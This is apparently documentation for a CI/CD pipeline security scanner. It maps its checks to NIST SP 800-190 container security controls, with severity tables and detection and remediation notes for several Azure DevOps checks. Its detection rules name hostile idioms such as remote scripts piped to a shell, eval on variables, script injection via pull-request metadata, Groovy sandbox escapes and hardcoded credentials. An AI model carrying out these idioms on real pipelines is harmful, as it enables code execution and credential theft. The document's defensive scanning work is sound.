Skip to content

NIST SP 800-190 Application Container Security

NIST's Application Container Security Guide. Covers image, registry, runtime, and host hardening for containerized workloads. The scanner evidences the image-build and image-content half of the spec; the runtime-host half (orchestrator hardening at the cluster level) sits outside the scan surface.

At a glance

  • Controls in this standard: 12
  • Controls evidenced by at least one check: 12 / 12
  • Distinct checks evidencing this standard: 210
  • Of those, autofixable with --fix: 75

How to read severity

Every check below ships at a fixed severity level. The scale is the same across providers and standards so a CRITICAL finding in one place means the same thing as a CRITICAL finding anywhere else.

Level What it means Examples
CRITICAL Active exploit primitive in the workflow as written. Treat as P0: a default scan path lands an attacker on a secret, an RCE, or production write access without further effort. Hardcoded credential literal, branch ref pointing at a known-compromised action, signed-into-an-unverified registry.
HIGH Production-impact gap that requires modest attacker effort or a second condition to weaponize. Remediate this sprint; the secondary condition is usually already present in real pipelines. Action pinned to a floating tag, sensitive permissions on a low-popularity action, mutable container tag in prod.
MEDIUM Significant defense-in-depth gap. Not directly exploitable on its own but disables a control whose absence widens the blast radius of a separate compromise. Backlog with a deadline. Missing branch protection, container without resource limits, freshly-published dependency consumed before the cooldown window.
LOW Hygiene / hardening issue. Not a vulnerability on its own but raises baseline posture and reduces audit friction. Missing CI logging retention, SBOM without supplier attribution, ECR repo without scan-on-push.
INFO Degraded-mode signal. The scanner couldn't reach an API or parse a config and surfaces the gap so the operator knows coverage was incomplete. No finding against the workload itself. CB-000 CodeBuild API access failed, IAM-000 IAM enumeration failed.

Coverage by control

Click a control ID to jump to the per-control section with the full check list. The severity mix column shows the spread of evidencing checks by severity (Critical / High / Medium / Low / Info).

Control Title Checks Severity mix
4.1.1 Image vulnerabilities, unpatched CVEs baked into images 11 1H · 10M
4.1.2 Image configuration defects, privileged flags, insecure runtime settings 32 9C · 14H · 9M
4.1.3 Embedded malware in images 27 7C · 20H
4.1.4 Embedded clear-text secrets in images 28 16C · 7H · 5M
4.1.5 Use of untrusted images, unpinned tags, unknown provenance 53 32H · 17M · 4L
4.2.1 Insecure connections to registries (no TLS / cert validation bypassed) 12 10H · 2M
4.2.2 Stale images in registries, drift and unpatched images 5 1H · 2M · 2L
4.2.3 Insufficient authentication and authorization restrictions on registries 3 1C · 1H · 1M
4.4.3 Unbounded network access from containers, egress not restricted 10 1C · 2H · 7M
4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing 33 10C · 17H · 5M · 1L
4.4.5 App vulnerabilities, untrusted code paths reached at runtime 17 8C · 7H · 2M
4.4.6 Rogue containers, unvetted images executed inside pipeline 10 3H · 6M · 1L

Filter at runtime

Restrict a scan to checks that evidence this standard with --standard nist_800_190:

# All providers, only checks tied to this standard
pipeline_check --standard nist_800_190

# Compose with --pipeline to scope by provider
pipeline_check --pipeline github --standard nist_800_190

# Compose with another standard to widen the lens
pipeline_check --pipeline aws --standard nist_800_190 --standard owasp_cicd_top_10

Controls in scope

4.1.1: Image vulnerabilities, unpatched CVEs baked into images

Evidenced by 11 checks across 9 providers (AWS, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, GitHub Actions, GitLab CI, Jenkins).

Check Title Severity Provider Fix
ADO-020 No vulnerability scanning step MEDIUM Azure DevOps
BB-015 No vulnerability scanning step MEDIUM Bitbucket
BK-012 No vulnerability scanning step MEDIUM Buildkite
CB-005 Outdated managed build image MEDIUM AWS
CC-020 No vulnerability scanning step MEDIUM CircleCI
ECR-001 Image scanning on push not enabled HIGH AWS
ECR-007 Inspector v2 enhanced scanning disabled for ECR MEDIUM AWS
GCB-008 No vulnerability scanning step in Cloud Build pipeline MEDIUM Cloud Build
GHA-020 No vulnerability scanning step MEDIUM GitHub Actions
GL-019 No vulnerability scanning step MEDIUM GitLab CI
JF-020 No vulnerability scanning step MEDIUM Jenkins

4.1.2: Image configuration defects, privileged flags, insecure runtime settings

Evidenced by 32 checks across 12 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Dockerfile, GitHub Actions, GitLab CI, Jenkins, Kubernetes, Tekton).

Check Title Severity Provider Fix
ADO-017 Docker run with insecure flags (privileged/host mount) CRITICAL Azure DevOps 🔧 fix
ARGO-002 Argo template container runs privileged or as root HIGH Argo Workflows
ARGO-013 Argo workflow does not opt out of SA token automount MEDIUM Argo Workflows
BB-013 Docker run with insecure flags (privileged/host mount) CRITICAL Bitbucket 🔧 fix
BK-005 Container started with --privileged or host-bind escalation HIGH Buildkite 🔧 fix
CB-002 Privileged mode enabled HIGH AWS
CC-017 Docker run with insecure flags (privileged/host mount) CRITICAL CircleCI 🔧 fix
DF-002 Container runs as root (missing or root USER directive) HIGH Dockerfile 🔧 fix
DF-008 RUN invokes docker --privileged or escalates capabilities HIGH Dockerfile
DF-012 RUN invokes sudo HIGH Dockerfile
DF-013 EXPOSE declares sensitive remote-access port CRITICAL Dockerfile 🔧 fix
DF-014 WORKDIR set to a system / kernel filesystem path CRITICAL Dockerfile
DF-015 RUN grants world-writable permissions (chmod 777 / a+w) MEDIUM Dockerfile
DF-017 ENV PATH prepends a world-writable directory MEDIUM Dockerfile 🔧 fix
DF-018 RUN chown rewrites ownership of a system path MEDIUM Dockerfile
GHA-017 Docker run with insecure flags (privileged/host mount) CRITICAL GitHub Actions 🔧 fix
GHA-026 Container job disables isolation via options: HIGH GitHub Actions
GL-017 Docker run with insecure flags (privileged/host mount) CRITICAL GitLab CI 🔧 fix
JF-017 Docker run with insecure flags (privileged/host mount) CRITICAL Jenkins 🔧 fix
JF-025 Kubernetes agent pod template runs privileged or mounts hostPath HIGH Jenkins
K8S-005 Container securityContext.privileged: true CRITICAL Kubernetes 🔧 fix
K8S-006 Container allowPrivilegeEscalation not explicitly false HIGH Kubernetes 🔧 fix
K8S-007 Container runAsNonRoot not true / runAsUser is 0 HIGH Kubernetes 🔧 fix
K8S-008 Container readOnlyRootFilesystem not true MEDIUM Kubernetes 🔧 fix
K8S-009 Container capabilities not dropping ALL / adding dangerous caps HIGH Kubernetes
K8S-010 Container seccompProfile not RuntimeDefault or Localhost MEDIUM Kubernetes
K8S-011 Pod serviceAccountName unset or 'default' MEDIUM Kubernetes
K8S-012 Pod automountServiceAccountToken not false MEDIUM Kubernetes
K8S-039 Pod uses shareProcessNamespace: true MEDIUM Kubernetes
K8S-040 Container securityContext.procMount: Unmasked HIGH Kubernetes
TKN-002 Tekton step runs privileged or as root HIGH Tekton
TKN-013 Tekton sidecar runs privileged or as root HIGH Tekton

4.1.3: Embedded malware in images

Evidenced by 27 checks across 8 providers (AWS, Azure DevOps, Bitbucket, CircleCI, Cloud Build, GitHub Actions, GitLab CI, Jenkins).

Check Title Severity Provider Fix
ADO-002 Script injection via attacker-controllable context HIGH Azure DevOps
ADO-016 Remote script piped to shell interpreter HIGH Azure DevOps 🔧 fix
ADO-026 Pipeline contains indicators of malicious activity CRITICAL Azure DevOps
ADO-027 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH Azure DevOps
BB-002 Script injection via attacker-controllable context HIGH Bitbucket
BB-012 Remote script piped to shell interpreter HIGH Bitbucket 🔧 fix
BB-025 Pipeline contains indicators of malicious activity CRITICAL Bitbucket
BB-026 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH Bitbucket
CB-011 CodeBuild buildspec contains indicators of malicious activity CRITICAL AWS
CC-002 Script injection via untrusted environment variable HIGH CircleCI
CC-016 Remote script piped to shell interpreter HIGH CircleCI 🔧 fix
CC-026 Config contains indicators of malicious activity CRITICAL CircleCI
CC-027 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH CircleCI
GCB-004 dynamicSubstitutions on with user substitutions in step args HIGH Cloud Build
GCB-006 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH Cloud Build
GHA-003 Script injection via untrusted context HIGH GitHub Actions 🔧 fix
GHA-016 Remote script piped to shell interpreter HIGH GitHub Actions 🔧 fix
GHA-027 Workflow contains indicators of malicious activity CRITICAL GitHub Actions
GHA-028 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH GitHub Actions
GL-002 Script injection via untrusted commit/MR context HIGH GitLab CI
GL-016 Remote script piped to shell interpreter HIGH GitLab CI 🔧 fix
GL-025 Pipeline contains indicators of malicious activity CRITICAL GitLab CI
GL-026 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH GitLab CI
JF-002 Script step interpolates attacker-controllable env var HIGH Jenkins
JF-016 Remote script piped to shell interpreter HIGH Jenkins 🔧 fix
JF-029 Jenkinsfile contains indicators of malicious activity CRITICAL Jenkins
JF-030 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH Jenkins

4.1.4: Embedded clear-text secrets in images

Evidenced by 28 checks across 13 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, Dockerfile, GitHub Actions, GitLab CI, Jenkins, Kubernetes, Tekton).

Check Title Severity Provider Fix
ADO-003 Variables contain literal secret values CRITICAL Azure DevOps
ADO-008 Credential-shaped literal in pipeline body CRITICAL Azure DevOps 🔧 fix
ADO-014 AWS auth uses long-lived access keys MEDIUM Azure DevOps 🔧 fix
ARGO-006 Literal secret value in Argo template env or parameter default CRITICAL Argo Workflows 🔧 fix
BB-003 Variables contain literal secret values CRITICAL Bitbucket
BB-008 Credential-shaped literal in pipeline body CRITICAL Bitbucket 🔧 fix
BB-011 AWS auth uses long-lived access keys MEDIUM Bitbucket 🔧 fix
BB-019 after-script references secrets HIGH Bitbucket
BK-002 Literal secret value in pipeline env block CRITICAL Buildkite 🔧 fix
CB-001 Secrets in plaintext environment variables CRITICAL AWS
CC-005 AWS auth uses long-lived access keys in environment block MEDIUM CircleCI 🔧 fix
CC-008 Credential-shaped literal in config body CRITICAL CircleCI 🔧 fix
DF-006 ENV or ARG carries a credential-shaped literal value CRITICAL Dockerfile
DF-019 COPY/ADD source path looks like a credential file HIGH Dockerfile 🔧 fix
DF-020 ARG declares a credential-named build argument HIGH Dockerfile 🔧 fix
GCB-003 Secret Manager value referenced in step args HIGH Cloud Build
GHA-005 AWS auth uses long-lived access keys MEDIUM GitHub Actions 🔧 fix
GHA-008 Credential-shaped literal in workflow body CRITICAL GitHub Actions 🔧 fix
GL-003 Variables contain literal secret values CRITICAL GitLab CI
GL-008 Credential-shaped literal in pipeline body CRITICAL GitLab CI 🔧 fix
GL-013 AWS auth uses long-lived access keys MEDIUM GitLab CI 🔧 fix
JF-008 Credential-shaped literal in pipeline body CRITICAL Jenkins 🔧 fix
JF-010 Long-lived AWS keys exposed via environment {} block HIGH Jenkins 🔧 fix
K8S-017 Container env value carries a credential-shaped literal CRITICAL Kubernetes
K8S-018 Secret stringData/data carries a credential-shaped literal CRITICAL Kubernetes
K8S-037 ConfigMap data carries a credential-shaped literal HIGH Kubernetes
LMB-003 Lambda function env vars may contain plaintext secrets HIGH AWS
TKN-005 Literal secret value in Tekton step env or param default CRITICAL Tekton 🔧 fix

4.1.5: Use of untrusted images, unpinned tags, unknown provenance

Evidenced by 53 checks across 14 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Cloud Build, Dockerfile, GitHub Actions, GitLab CI, Helm, Jenkins, Kubernetes, Tekton).

Check Title Severity Provider Fix
ADO-001 Task reference not pinned to specific version HIGH Azure DevOps 🔧 fix
ADO-005 Container image not pinned to specific version HIGH Azure DevOps
ADO-009 Container image pinned by tag rather than sha256 digest LOW Azure DevOps
ADO-018 Package install from insecure source HIGH Azure DevOps 🔧 fix
ADO-021 Package install without lockfile enforcement MEDIUM Azure DevOps 🔧 fix
ADO-025 Cross-repo template not pinned to commit SHA HIGH Azure DevOps
ADO-028 Package install bypasses registry integrity (git / path / tarball source) MEDIUM Azure DevOps
ARGO-001 Argo template container image not pinned to a digest HIGH Argo Workflows
BB-001 pipe: action not pinned to exact version HIGH Bitbucket 🔧 fix
BB-009 pipe: pinned by version rather than sha256 digest LOW Bitbucket
BB-014 Package install from insecure source HIGH Bitbucket 🔧 fix
BB-021 Package install without lockfile enforcement MEDIUM Bitbucket 🔧 fix
BB-027 Package install bypasses registry integrity (git / path / tarball source) MEDIUM Bitbucket
BK-001 Buildkite plugin not pinned to an exact version HIGH Buildkite
CA-002 CodeArtifact repository has a public external connection HIGH AWS
CB-009 CodeBuild image not pinned by digest MEDIUM AWS
CC-001 Orb not pinned to exact semver HIGH CircleCI 🔧 fix
CC-003 Docker image not pinned by digest HIGH CircleCI
CC-018 Package install from insecure source HIGH CircleCI 🔧 fix
CC-021 Package install without lockfile enforcement MEDIUM CircleCI 🔧 fix
CC-028 Package install bypasses registry integrity (git / path / tarball source) MEDIUM CircleCI
CC-029 Machine executor image not pinned HIGH CircleCI
DF-001 FROM image not pinned to sha256 digest HIGH Dockerfile 🔧 fix
DF-003 ADD pulls remote URL without integrity verification HIGH Dockerfile
DF-016 Image lacks OCI provenance labels LOW Dockerfile
ECR-002 Image tags are mutable HIGH AWS
ECR-006 ECR pull-through cache rule uses an untrusted upstream HIGH AWS
GCB-001 Cloud Build step image not pinned by digest HIGH Cloud Build 🔧 fix
GCB-007 availableSecrets references versions/latest MEDIUM Cloud Build 🔧 fix
GHA-001 Action not pinned to commit SHA HIGH GitHub Actions 🔧 fix
GHA-018 Package install from insecure source HIGH GitHub Actions 🔧 fix
GHA-021 Package install without lockfile enforcement MEDIUM GitHub Actions 🔧 fix
GHA-025 Reusable workflow not pinned to commit SHA HIGH GitHub Actions
GHA-029 Package install bypasses registry integrity (git / path / tarball source) MEDIUM GitHub Actions
GL-001 Image not pinned to specific version or digest HIGH GitLab CI 🔧 fix
GL-005 include: pulls remote / project without pinned ref HIGH GitLab CI
GL-009 Image pinned to version tag rather than sha256 digest LOW GitLab CI
GL-018 Package install from insecure source HIGH GitLab CI 🔧 fix
GL-021 Package install without lockfile enforcement MEDIUM GitLab CI 🔧 fix
GL-027 Package install bypasses registry integrity (git / path / tarball source) MEDIUM GitLab CI
GL-028 services: image not pinned HIGH GitLab CI
GL-030 trigger: include: pulls child pipeline without pinned ref HIGH GitLab CI
HELM-001 Chart.yaml declares legacy apiVersion: v1 MEDIUM Helm 🔧 fix
HELM-002 Chart.lock missing per-dependency digests HIGH Helm 🔧 fix
HELM-004 Chart dependency version is a range, not an exact pin MEDIUM Helm
JF-001 Shared library not pinned to a tag or commit HIGH Jenkins
JF-009 Agent docker image not pinned to sha256 digest HIGH Jenkins
JF-018 Package install from insecure source HIGH Jenkins 🔧 fix
JF-021 Package install without lockfile enforcement MEDIUM Jenkins 🔧 fix
JF-031 Package install bypasses registry integrity (git / path / tarball source) MEDIUM Jenkins
K8S-001 Container image not pinned by sha256 digest HIGH Kubernetes 🔧 fix
K8S-036 ServiceAccount imagePullSecrets references missing Secret MEDIUM Kubernetes
TKN-001 Tekton step image not pinned to a digest HIGH Tekton

4.2.1: Insecure connections to registries (no TLS / cert validation bypassed)

Evidenced by 12 checks across 10 providers (AWS, Azure DevOps, Bitbucket, Buildkite, CircleCI, Dockerfile, GitHub Actions, GitLab CI, Helm, Jenkins).

Check Title Severity Provider Fix
ADO-023 TLS / certificate verification bypass HIGH Azure DevOps 🔧 fix
BB-023 TLS / certificate verification bypass HIGH Bitbucket 🔧 fix
BK-004 Remote script piped into shell interpreter HIGH Buildkite 🔧 fix
BK-008 TLS verification disabled in step command MEDIUM Buildkite 🔧 fix
CC-023 TLS / certificate verification bypass HIGH CircleCI 🔧 fix
DF-003 ADD pulls remote URL without integrity verification HIGH Dockerfile
DF-004 RUN executes a remote script via curl-pipe / wget-pipe HIGH Dockerfile
GHA-023 TLS / certificate verification bypass HIGH GitHub Actions 🔧 fix
GL-023 TLS / certificate verification bypass HIGH GitLab CI 🔧 fix
HELM-003 Chart dependency declared on a non-HTTPS repository HIGH Helm 🔧 fix
JF-023 TLS / certificate verification bypass HIGH Jenkins 🔧 fix
S3-005 Artifact bucket missing aws:SecureTransport deny MEDIUM AWS

4.2.2: Stale images in registries, drift and unpatched images

Evidenced by 5 checks across 3 providers (AWS, Cloud Build, Dockerfile).

Check Title Severity Provider Fix
CB-005 Outdated managed build image MEDIUM AWS
DF-010 apt-get dist-upgrade / upgrade pulls unknown package versions LOW Dockerfile
ECR-002 Image tags are mutable HIGH AWS
ECR-004 No lifecycle policy configured LOW AWS
GCB-007 availableSecrets references versions/latest MEDIUM Cloud Build 🔧 fix

4.2.3: Insufficient authentication and authorization restrictions on registries

Evidenced by 3 checks across AWS.

Check Title Severity Provider Fix
CA-004 CodeArtifact repo policy grants codeartifact: with Resource '' HIGH AWS
ECR-003 Repository policy allows public access CRITICAL AWS
ECR-005 Repository encrypted with AES256 rather than KMS CMK MEDIUM AWS

4.4.3: Unbounded network access from containers, egress not restricted

Evidenced by 10 checks across 8 providers (AWS, Azure DevOps, Bitbucket, CircleCI, Dockerfile, GitHub Actions, GitLab CI, Jenkins).

Check Title Severity Provider Fix
ADO-013 Self-hosted pool without explicit ephemeral marker MEDIUM Azure DevOps
BB-016 Self-hosted runner without ephemeral marker MEDIUM Bitbucket
CC-010 Self-hosted runner without ephemeral marker MEDIUM CircleCI
DF-013 EXPOSE declares sensitive remote-access port CRITICAL Dockerfile 🔧 fix
GHA-012 Self-hosted runner without ephemeral marker MEDIUM GitHub Actions
GHA-026 Container job disables isolation via options: HIGH GitHub Actions
GL-014 Self-managed runner without ephemeral tag MEDIUM GitLab CI
JF-014 Agent label missing ephemeral marker MEDIUM Jenkins
PBAC-001 CodeBuild project has no VPC configuration HIGH AWS
PBAC-003 CodeBuild security group allows 0.0.0.0/0 all-port egress MEDIUM AWS

4.4.4: Insecure container runtime configurations, privileged flag, host namespace sharing

Evidenced by 33 checks across 12 providers (AWS, Argo Workflows, Azure DevOps, Bitbucket, Buildkite, CircleCI, Dockerfile, GitHub Actions, GitLab CI, Jenkins, Kubernetes, Tekton).

Check Title Severity Provider Fix
ADO-017 Docker run with insecure flags (privileged/host mount) CRITICAL Azure DevOps 🔧 fix
ARGO-002 Argo template container runs privileged or as root HIGH Argo Workflows
ARGO-004 Argo workflow mounts hostPath or shares host namespaces CRITICAL Argo Workflows
BB-013 Docker run with insecure flags (privileged/host mount) CRITICAL Bitbucket 🔧 fix
BK-005 Container started with --privileged or host-bind escalation HIGH Buildkite 🔧 fix
CB-002 Privileged mode enabled HIGH AWS
CC-017 Docker run with insecure flags (privileged/host mount) CRITICAL CircleCI 🔧 fix
DF-002 Container runs as root (missing or root USER directive) HIGH Dockerfile 🔧 fix
DF-008 RUN invokes docker --privileged or escalates capabilities HIGH Dockerfile
DF-012 RUN invokes sudo HIGH Dockerfile
GHA-017 Docker run with insecure flags (privileged/host mount) CRITICAL GitHub Actions 🔧 fix
GL-017 Docker run with insecure flags (privileged/host mount) CRITICAL GitLab CI 🔧 fix
JF-017 Docker run with insecure flags (privileged/host mount) CRITICAL Jenkins 🔧 fix
JF-025 Kubernetes agent pod template runs privileged or mounts hostPath HIGH Jenkins
K8S-002 Pod hostNetwork: true HIGH Kubernetes 🔧 fix
K8S-003 Pod hostPID: true HIGH Kubernetes 🔧 fix
K8S-004 Pod hostIPC: true HIGH Kubernetes 🔧 fix
K8S-005 Container securityContext.privileged: true CRITICAL Kubernetes 🔧 fix
K8S-006 Container allowPrivilegeEscalation not explicitly false HIGH Kubernetes 🔧 fix
K8S-007 Container runAsNonRoot not true / runAsUser is 0 HIGH Kubernetes 🔧 fix
K8S-008 Container readOnlyRootFilesystem not true MEDIUM Kubernetes 🔧 fix
K8S-009 Container capabilities not dropping ALL / adding dangerous caps HIGH Kubernetes
K8S-010 Container seccompProfile not RuntimeDefault or Localhost MEDIUM Kubernetes
K8S-013 Pod uses a hostPath volume HIGH Kubernetes 🔧 fix
K8S-014 Pod hostPath references a sensitive host directory CRITICAL Kubernetes
K8S-015 Container missing resources.limits.memory MEDIUM Kubernetes
K8S-016 Container missing resources.limits.cpu LOW Kubernetes
K8S-022 Service exposes SSH (port 22) MEDIUM Kubernetes
K8S-039 Pod uses shareProcessNamespace: true MEDIUM Kubernetes
K8S-040 Container securityContext.procMount: Unmasked HIGH Kubernetes
TKN-002 Tekton step runs privileged or as root HIGH Tekton
TKN-004 Tekton Task mounts hostPath or shares host namespaces CRITICAL Tekton
TKN-013 Tekton sidecar runs privileged or as root HIGH Tekton

4.4.5: App vulnerabilities, untrusted code paths reached at runtime

Evidenced by 17 checks across 9 providers (AWS, Azure DevOps, Bitbucket, Buildkite, CircleCI, Dockerfile, GitHub Actions, GitLab CI, Jenkins).

Check Title Severity Provider Fix
ADO-010 Cross-pipeline download: ingestion unverified CRITICAL Azure DevOps
ADO-011 template: <local-path> on PR-validated pipeline HIGH Azure DevOps
ADO-019 extends: template on PR-validated pipeline points to local path CRITICAL Azure DevOps
BB-010 Deploy step ingests pull-request artifact unverified CRITICAL Bitbucket
BK-003 Untrusted Buildkite variable interpolated in command HIGH Buildkite
CB-010 CodeBuild webhook allows fork-PR builds without actor filtering HIGH AWS
CC-012 Dynamic config via setup: true enables code injection MEDIUM CircleCI
DF-005 RUN uses shell-eval (eval / sh -c on a variable / backticks) HIGH Dockerfile
GHA-002 pull_request_target checks out PR head CRITICAL GitHub Actions 🔧 fix
GHA-009 workflow_run downloads upstream artifact unverified CRITICAL GitHub Actions
GHA-010 Local action (./path) on untrusted-trigger workflow HIGH GitHub Actions
GHA-013 issue_comment trigger without author guard HIGH GitHub Actions
GL-010 Multi-project pipeline ingests upstream artifact unverified CRITICAL GitLab CI
GL-011 include: local file pulled in MR-triggered pipeline HIGH GitLab CI
JF-012 load step pulls Groovy from disk without integrity pin MEDIUM Jenkins
JF-013 copyArtifacts ingests another job's output unverified CRITICAL Jenkins
JF-019 Groovy sandbox escape pattern detected CRITICAL Jenkins

4.4.6: Rogue containers, unvetted images executed inside pipeline

Evidenced by 10 checks across 7 providers (AWS, Azure DevOps, Bitbucket, Buildkite, CircleCI, GitHub Actions, GitLab CI).

Check Title Severity Provider Fix
ADO-012 Cache@2 key derives from $(System.PullRequest.*) MEDIUM Azure DevOps
BB-018 Cache key derives from attacker-controllable input MEDIUM Bitbucket
BK-001 Buildkite plugin not pinned to an exact version HIGH Buildkite
BK-004 Remote script piped into shell interpreter HIGH Buildkite 🔧 fix
CC-013 Deploy job in workflow has no branch filter MEDIUM CircleCI
CC-025 Cache key derives from attacker-controllable input MEDIUM CircleCI
CP-003 Source stage using polling instead of event-driven trigger LOW AWS
CP-007 CodePipeline v2 PR trigger accepts all branches HIGH AWS
GHA-011 Cache key derives from attacker-controllable input MEDIUM GitHub Actions
GL-012 Cache key derives from MR-controlled CI variable MEDIUM GitLab CI

Check details

Every check that evidences this standard, rendered once with its detection mechanism, recommendation, and any known false-positive modes or real-world incident references. The per-control tables above link to the matching block here.

ADO-001: Task reference not pinned to specific version HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Floating-major task references (@1, @2) can roll forward silently when the task publisher ships a breaking or malicious update. Pass when every task: reference carries a two- or three-segment semver.

Recommendation. Reference tasks by a full semver (DownloadSecureFile@1.2.3) or extension-published-version. Track task updates explicitly via Azure DevOps extension settings rather than letting @1 drift.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-001 in the Azure DevOps provider.

ADO-002: Script injection via attacker-controllable context HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. $(Build.SourceBranch*), $(Build.SourceVersionMessage), and $(System.PullRequest.*) are populated from SCM event metadata the attacker controls. Inline interpolation into a script body executes crafted content.

Recommendation. Pass these values through an intermediate pipeline variable declared with readonly: true, and reference that variable through an environment variable rather than $(...) macro interpolation. ADO expands $(…) before shell quoting, so inline use is never safe.

Source: ADO-002 in the Azure DevOps provider.

ADO-003: Variables contain literal secret values CRITICAL

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Scans variables: in both the mapping form ({KEY: VAL}) and the list form ([{name: X, value: Y}]) that ADO supports. AWS keys are detected by value shape regardless of variable name.

Recommendation. Store secrets in an Azure Key Vault or a Library variable group with the secret flag set; reference them via $(SECRET_NAME) at runtime. For cloud access prefer Azure workload identity federation.

Source: ADO-003 in the Azure DevOps provider.

ADO-005: Container image not pinned to specific version HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Container images can be declared at resources.containers[].image or job.container (string or {image:}). Floating / untagged refs let the publisher swap the image contents.

Recommendation. Reference images by @sha256:<digest> or at minimum a full immutable version tag. Avoid :latest and untagged refs.

Source: ADO-005 in the Azure DevOps provider.

ADO-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Complements ADO-003 (which looks at variables: keys). ADO-008 scans every string in the pipeline against the cross-provider credential-pattern catalog.

Recommendation. Rotate the exposed credential. Move the value to Azure Key Vault or a secret variable group and reference it via $(SECRET_NAME).

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Source: ADO-008 in the Azure DevOps provider.

ADO-009: Container image pinned by tag rather than sha256 digest LOW

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. ADO-005 fails floating tags at HIGH; ADO-009 is the stricter tier. Even immutable-looking version tags can be repointed by registry operators.

Recommendation. Resolve each image to its current digest and replace the tag with @sha256:<digest>. Schedule regular digest bumps via Renovate or a scheduled pipeline.

Source: ADO-009 in the Azure DevOps provider.

ADO-010: Cross-pipeline download: ingestion unverified CRITICAL

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. resources.pipelines: declares an upstream pipeline; a download: <name> step pulls its artifacts. If the upstream accepts PR validation, the artifact may have been built by PR-controlled code.

Recommendation. Add a verification step before consuming the artifact: cosign verify-attestation, sha256sum -c, or gpg --verify against a manifest the producing pipeline signed.

Source: ADO-010 in the Azure DevOps provider.

ADO-011: template: <local-path> on PR-validated pipeline HIGH

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. template: <relative-path> includes another YAML from the CURRENT repo. On PR validation builds, the repo content is the PR branch, letting the PR author swap the template body. Cross-repo templates (template: foo.yml@my-repo) are version-pinned and not affected.

Recommendation. Move the template into a separate, branch-protected repository and reference it via template: foo.yml@<repo-resource> with a pinned ref: on the resource. That way the template content is fixed at PR creation time and can't be modified from the PR branch.

Source: ADO-011 in the Azure DevOps provider.

ADO-012: Cache@2 key derives from $(System.PullRequest.*) MEDIUM

Evidences: 4.4.6 Rogue containers, unvetted images executed inside pipeline.

How this is detected. Cache@2 (and older CacheBeta@1) restore by key. A key including PR-controlled variables on PR-validated pipelines lets a PR seed a poisoned cache entry that a later default-branch pipeline restores.

Recommendation. Build the cache key from values the PR can't control: $(Agent.OS), lockfile hashes, the pipeline name. Never reference $(System.PullRequest.*) or $(Build.SourceBranch*) from a cache key namespace.

Source: ADO-012 in the Azure DevOps provider.

ADO-013: Self-hosted pool without explicit ephemeral marker MEDIUM

Evidences: 4.4.3 Unbounded network access from containers, egress not restricted.

How this is detected. pool: { name: <agent-pool> } (or the bare string form pool: <name>) targets a self-hosted agent pool. Without an explicit ephemeral arrangement, agents reuse state across jobs. Microsoft-hosted pools (vmImage: or the Azure Pipelines / Default names) are skipped.

Recommendation. Configure the agent pool with autoscaling + ephemeral agents (the Azure VM Scale Set agent), and add demands: [ephemeral -equals true] on the pool block so this check can verify it.

Source: ADO-013 in the Azure DevOps provider.

ADO-014: AWS auth uses long-lived access keys MEDIUM 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Long-lived AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY values in pipeline variables or task inputs can't be rotated on a fine-grained schedule. Prefer OIDC or vault-based credential injection for cross-cloud access.

Recommendation. Use workload identity federation or an Azure Key Vault task to inject short-lived AWS credentials at runtime. Remove static AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY from pipeline variables and task parameters.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-014 in the Azure DevOps provider.

ADO-016: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a pipeline. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the build agent.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Source: ADO-016 in the Azure DevOps provider.

ADO-017: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

